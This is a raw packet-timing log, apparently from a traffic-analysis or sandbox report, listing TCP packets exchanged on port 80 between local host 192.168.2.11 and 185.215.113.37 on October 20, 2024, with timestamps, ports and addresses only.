Oct 20, 2024 23:43:12.457516909 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457520962 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457534075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457544088 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457546949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457559109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457561970 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457578897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457588911 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457590103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457602978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457614899 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457617998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457632065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457642078 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457643986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457659960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457669973 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457672119 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457685947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457694054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457700014 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457712889 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457714081 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457726955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457739115 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457741022 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457751989 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457760096 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457763910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457776070 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457777977 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457788944 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457801104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457803011 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457815886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457834959 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457847118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458342075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458353996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458369970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458381891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458384037 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458400011 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458400965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458412886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458415985 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458425999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458431005 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458439112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458451033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458451986 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458463907 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458476067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458482027 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458487988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458492994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458501101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458509922 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458523035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458534002 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458534956 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458549023 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458553076 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458561897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458561897 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458575964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458587885 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458591938 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458599091 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458611012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458620071 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458623886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458636045 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458637953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458652973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.458657980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458687067 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.458709955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.459085941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459105015 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459116936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459129095 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459132910 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.459141016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459141970 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.459160089 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459165096 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.459178925 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459188938 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.459192038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459206104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459213972 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.459217072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459230900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459232092 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.459243059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459256887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459260941 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.459270954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.459278107 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.459304094 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.459326982 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.727847099 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.733953953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.075748920 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.075809002 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.075819969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.075958967 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.075958967 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.075964928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.075977087 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.075988054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076004982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076015949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076020956 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076056004 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.076056004 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.076072931 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076076984 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.076085091 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076097965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076109886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076121092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076133013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076143980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076160908 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.076160908 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.076214075 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.076622963 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076638937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076648951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076661110 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076672077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076683044 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076694965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076704979 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076714993 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076725960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076736927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076746941 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.076746941 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.076746941 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.076749086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076762915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076773882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076786041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076797962 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076811075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076822042 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.076822042 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.076822042 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.076822042 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.076838017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077002048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077002048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077007055 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077018023 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077027082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077038050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077049017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077059031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077069998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077080965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077090979 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077106953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077111959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077116966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077121019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077126026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077131033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077140093 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077140093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077140093 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077140093 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077169895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077181101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077188969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077204943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077215910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077224016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077235937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077243090 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077243090 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077243090 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077251911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077264071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077275038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077286005 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077296019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077302933 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077302933 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077302933 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077306986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077317953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077328920 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077375889 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077375889 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077375889 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.077951908 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077963114 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077971935 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077985048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.077995062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078006029 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078018904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078021049 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.078021049 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.078030109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078042030 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078058958 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078064919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078068972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078073978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078078985 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078088045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078105927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078116894 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078128099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078130007 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.078130007 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.078130007 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.078138113 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078150988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078161001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078178883 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078188896 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078191996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.078191996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.078191996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.078201056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078203917 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.078212976 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078223944 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078229904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078236103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078247070 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078252077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.078257084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.078320980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.078320980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.080411911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080466032 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.080560923 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080570936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080585957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080595970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080605030 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080619097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080665112 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.080665112 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.080665112 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.080702066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080718040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080729008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080738068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080749035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080760002 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080770016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080780983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080792904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080804110 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.080815077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.080815077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.080815077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.080832005 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.080971956 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081000090 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081008911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081017971 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081027985 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081042051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081051111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081063032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081063032 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081075907 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081085920 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081098080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081099987 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081146955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081157923 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081161976 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081161976 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081161976 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081168890 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081182957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081192970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081203938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081214905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081224918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081234932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081243992 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081243992 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081243992 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081245899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081258059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081259012 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081381083 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081381083 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081592083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081603050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081610918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081623077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081634045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081643105 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081648111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081782103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081790924 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081799984 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081814051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081815958 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081815958 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081825972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081836939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081850052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081861973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081871986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081875086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081875086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081882954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081892014 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081897020 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081909895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081922054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081934929 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081948042 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.081958055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081958055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.081958055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082061052 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082237959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082247972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082257032 CEST	80	49708	185.215.113.37	192.168.2.11
